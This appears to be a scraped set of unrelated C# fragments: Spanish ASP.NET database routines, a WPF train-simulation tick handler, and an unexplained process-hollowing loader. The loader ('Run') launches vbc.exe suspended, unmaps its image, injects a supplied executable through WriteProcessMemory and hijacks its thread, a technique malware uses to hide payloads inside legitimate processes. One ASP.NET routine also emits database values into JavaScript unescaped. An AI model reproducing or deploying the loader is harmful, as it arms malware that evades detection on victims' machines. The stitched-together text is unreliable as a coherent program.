private string ObtenerValoresAtributosEstadisticos(string sNodo, string sAmbito) { StringBuilder sbuilder = new StringBuilder(); byte bEstado; sbuilder.Append(" aVAES = new Array();\n"); if (sNodo != "") { SqlDataReader dr = VAE.CatalogoByUne(int.Parse(sNodo), sAmbito, null); int i = 0; while (dr.Read()) { if ((bool)dr["t340_estado"]) { bEstado = 1; } else { bEstado = 0; } sbuilder.Append("\taVAES[" + i.ToString() + "] = {bd:\"\", " + "idAE:\"" + dr["t341_idae"].ToString() + "\"," + "idVAE:\"" + dr["t340_idvae"].ToString() + "\"," + "nombre:\"" + Utilidades.escape(dr["t340_valor"].ToString()) + "\"," + "estado:\"" + bEstado.ToString() + "\"," + "orden:\"" + dr["t340_orden"].ToString() + "\"};\n"); i++; } dr.Close(); dr.Dispose(); } strArrayVAE = sbuilder.ToString(); return(strArrayVAE); }
private void ObtenerValoresAtributosEstadisticosCR(string sNodo) { StringBuilder sbuilder = new StringBuilder(); sbuilder.Append("var aVAE_js = new Array();\n"); if (sNodo != "") { SqlDataReader dr = VAE.CatalogoByUne(int.Parse(sNodo), "T"); int i = 0; while (dr.Read()) { sbuilder.Append("\taVAE_js[" + i.ToString() + "] = new Array(\"" + dr["t341_idae"].ToString() + "\",\"" + dr["t340_idvae"].ToString() + "\",\"" + dr["t340_valor"].ToString() + "\");\n"); i++; } dr.Close(); dr.Dispose(); } strArrayVAE = sbuilder.ToString(); }
private void OnStation_Tick(object sender, EventArgs e) { foreach (var VARIABLE in GreenStation) { foreach (var VAE in passengers) { Rect rectangle1 = new Rect(VAE.x, VAE.y, (int)Passenger.imagewx, (int)Passenger.imagewy); Rect rectangle2 = new Rect(Canvas.GetLeft(VARIABLE), Canvas.GetTop(VARIABLE), 25, 25); if (rectangle1.IntersectsWith(rectangle2) && VAE.InTravel == false) { VAE.MotionStyle = 0; WasPaused = true; foreach (var V in Transports) { V.Pause(); } ChooseStation newPassenger = new ChooseStation(); newPassenger.ShowDialog(); if (newPassenger.DialogResult == true) { if (Convert.ToInt32(newPassenger.MyStation) < 0 || Convert.ToInt32(newPassenger.MyStation) > 12) { } else { VAE.OnStation(GreenStation.IndexOf(VARIABLE), Convert.ToInt32(newPassenger.MyStation), Colors.Green); } } foreach (var V in Transports) { V.Resume(); } WasPaused = false; foreach (var pass in passengers) { pass.Draw(); } } } } foreach (var VARIABLE in RedStation) { foreach (var VAE in passengers) { Rect rectangle1 = new Rect(VAE.x, VAE.y, Passenger.imagewx, Passenger.imagewy); Rect rectangle2 = new Rect(Canvas.GetLeft(VARIABLE), Canvas.GetTop(VARIABLE), 25, 25); if (rectangle1.IntersectsWith(rectangle2) && VAE.InTravel == false) { WasPaused = true; VAE.MotionStyle = 0; foreach (var V in Transports) { V.Pause(); } ChooseStation newPassenger = new ChooseStation(); newPassenger.ShowDialog(); if (newPassenger.DialogResult == true) { if (Convert.ToInt32(newPassenger.MyStation) < 0 || Convert.ToInt32(newPassenger.MyStation) > 6) { } else { VAE.OnStation(RedStation.IndexOf(VARIABLE), Convert.ToInt32(newPassenger.MyStation), Colors.Red); } } foreach (var V in Transports) { V.Resume(); } WasPaused = false; foreach (var pass in passengers) { pass.Draw(); } } } } if (Transports[0].pass.Count != 0) { foreach (var passenger in Transports[0].pass) { passenger.x = (int)Canvas.GetLeft(((MainWindow)System.Windows.Application.Current.MainWindow).rect); passenger.y = (int)Canvas.GetTop(((MainWindow)System.Windows.Application.Current.MainWindow).rect); } foreach (var VARIABLE in Transports[0].pass) { VARIABLE.Draw(); } } if (Transports[1].pass.Count != 0) { foreach (var passenger in Transports[1].pass) { passenger.x = (int)Canvas.GetLeft(((MainWindow)System.Windows.Application.Current.MainWindow).rect121); passenger.y = (int)Canvas.GetTop(((MainWindow)System.Windows.Application.Current.MainWindow).rect121); } foreach (var VARIABLE in Transports[1].pass) { VARIABLE.Draw(); } } }
protected string Grabar(string strDatos, string strDatosVAE, string sNodo, string sAmbito)//string sIdAE, { string sResul = "", sNuevosAEs = ""; //int ID = int.Parse(sIdAE); int idAE; #region conexion try { oConn = Conexion.Abrir(); tr = Conexion.AbrirTransaccion(oConn); } catch (Exception ex) { sResul = "Error@#@" + Errores.mostrarError("Error al abrir la conexión", ex); return(sResul); } #endregion try { #region AE bool bEstado = false; bool bObligatorio = false; int? nCliente = null, idNuevoAE; string[] aAE = Regex.Split(strDatos, "///"); foreach (string oAE in aAE) { if (oAE == "") { continue; } string[] aValores = Regex.Split(oAE, "##"); //0. Opcion BD. "I", "U", "D" //1. ID AE //2. Denominación //3. Estado //4. Obligatorio //5. Nodo //6. Cliente //7. Orden //8. Ambito (E-> económico, T-> técnico) bEstado = false; if (aValores[3] == "1") { bEstado = true; } bObligatorio = false; if (aValores[4] == "1") { bObligatorio = true; } nCliente = null; if (aValores[6] != "") { nCliente = int.Parse(aValores[6]); } switch (aValores[0]) { case "D": AE.Delete(tr, int.Parse(aValores[1])); break; case "I": idNuevoAE = AE.Insert(tr, Utilidades.unescape(aValores[2]), bEstado, int.Parse(aValores[7]), bObligatorio, int.Parse(aValores[5]), nCliente, aValores[8]); sNuevosAEs += aValores[1] + "##" + idNuevoAE.ToString() + "@@"; break; case "U": //AE.UpdateOrden(tr, int.Parse(aValores[1]), int.Parse(aValores[2])); AE.Update(tr, int.Parse(aValores[1]), Utilidades.unescape(aValores[2]), bEstado, int.Parse(aValores[7]), bObligatorio, int.Parse(aValores[5]), nCliente); break; } } #endregion #region VAE string[] aVAE = Regex.Split(strDatosVAE, "///"); foreach (string oVAE in aVAE) { if (oVAE == "") { break; } string[] aKeysAE = Regex.Split(sNuevosAEs, "@@"); string[] aValoresVAE = Regex.Split(oVAE, "##"); ///aValoresVAE[0] = opcionBD; ///aValoresVAE[1] = idAE; ///aValoresVAE[2] = idVAE; ///aValoresVAE[3] = Valor; ///aValoresVAE[4] = Orden; ///aValoresVAE[5] = Activo; idAE = int.Parse(aValoresVAE[1]); if (idAE < 0) { idAE = flBuscarKeyAE(aValoresVAE[1], aKeysAE); } bool bEstadoVAE = false; if (aValoresVAE[5] == "1") { bEstadoVAE = true; } switch (aValoresVAE[0]) { case "I": //VAE.Insert(tr, Utilidades.unescape(aValoresVAE[3]), bEstadoVAE, int.Parse(aValoresVAE[1]), byte.Parse(aValoresVAE[4])); VAE.Insert(tr, Utilidades.unescape(aValoresVAE[3]), bEstadoVAE, idAE, int.Parse(aValoresVAE[4])); break; case "U": //VAE.Update(tr, int.Parse(aValoresVAE[2]), Utilidades.unescape(aValoresVAE[3]), bEstadoVAE, int.Parse(aValoresVAE[1]), byte.Parse(aValoresVAE[4])); VAE.Update(tr, int.Parse(aValoresVAE[2]), Utilidades.unescape(aValoresVAE[3]), bEstadoVAE, idAE, int.Parse(aValoresVAE[4])); break; case "D": VAE.Delete(tr, int.Parse(aValoresVAE[2])); break; } } #endregion Conexion.CommitTransaccion(tr); sResul = "OK@#@" + sNuevosAEs + "@#@" + ObtenerValoresAtributosEstadisticos(sNodo, sAmbito); } catch (Exception ex) { Conexion.CerrarTransaccion(tr); sResul = "Error@#@" + Errores.mostrarError("Error al grabar los criterios estadísticos.", ex);// +"@#@" + sDesc; } finally { Conexion.Cerrar(oConn); } return(sResul); }
public static void Run(byte[] bytes, string surrogateProcess) { IntPtr ptr5; if (surrogateProcess == null) { surrogateProcess = RuntimeEnvironment.GetRuntimeDirectory() + "vbc.exe"; } CP cp = CreateApi <CP>("kernel32", "CreateProcessA"); GTC gtc = CreateApi <GTC>("kernel32", "GetThreadContext"); NTU ntu = CreateApi <NTU>("ntdll", "NtUnmapViewOfSection"); RPM rpm = CreateApi <RPM>("kernel32", "ReadProcessMemory"); RT rt = CreateApi <RT>("kernel32", "ResumeThread"); STC stc = CreateApi <STC>("kernel32", "SetThreadContext"); VAE vae = CreateApi <VAE>("kernel32", "VirtualAllocEx"); VPE vpe = CreateApi <VPE>("kernel32", "VirtualProtectEx"); WPM wpm = CreateApi <WPM>("kernel32", "WriteProcessMemory"); int num3 = BitConverter.ToInt32(bytes, 60); int num2 = BitConverter.ToInt16(bytes, num3 + 6); IntPtr size = new IntPtr(BitConverter.ToInt32(bytes, num3 + 0x54)); byte[] sInfo = new byte[0x44]; IntPtr[] pInfo = new IntPtr[4]; if (cp(null, new StringBuilder(surrogateProcess), ptr5, ptr5, false, 4, ptr5, null, sInfo, pInfo)) { uint[] ctxt = new uint[0xb3]; ctxt[0] = 0x10002; if (gtc(pInfo[1], ctxt)) { IntPtr ptr; IntPtr ptr3; IntPtr baseAddr = new IntPtr(ctxt[0x29] + 8L); IntPtr bufrSize = new IntPtr(4); if (rpm(pInfo[0], baseAddr, ref ptr, bufrSize, ref ptr3) && (ntu(pInfo[0], ptr) == 0L)) { IntPtr addr = new IntPtr(BitConverter.ToInt32(bytes, num3 + 0x34)); IntPtr ptr9 = new IntPtr(BitConverter.ToInt32(bytes, num3 + 80)); IntPtr ptr2 = vae(pInfo[0], addr, ptr9, 0x3000, 0x40); bool flag = wpm(pInfo[0], ptr2, bytes, size, ref ptr3); int num5 = num2 - 1; for (int i = 0; i <= num5; i++) { int num; int[] dst = new int[10]; Buffer.BlockCopy(bytes, (num3 + 0xf8) + (i * 40), dst, 0, 40); byte[] buffer2 = new byte[(dst[4] - 1) + 1]; Buffer.BlockCopy(bytes, dst[5], buffer2, 0, buffer2.Length); ptr9 = new IntPtr(ptr2.ToInt32() + dst[3]); addr = new IntPtr(buffer2.Length); flag = wpm(pInfo[0], ptr9, buffer2, addr, ref ptr3); ptr9 = new IntPtr(ptr2.ToInt32() + dst[3]); addr = new IntPtr(dst[2]); flag = vpe(pInfo[0], ptr9, addr, x[(dst[9] >> 0x1d) & 7], ref num); } ptr9 = new IntPtr(ctxt[0x29] + 8L); addr = new IntPtr(4); flag = wpm(pInfo[0], ptr9, BitConverter.GetBytes(ptr2.ToInt32()), addr, ref ptr3); ctxt[0x2c] = (uint)(ptr2.ToInt32() + BitConverter.ToInt32(bytes, num3 + 40)); stc(pInfo[1], ctxt); } } rt(pInfo[1]); } }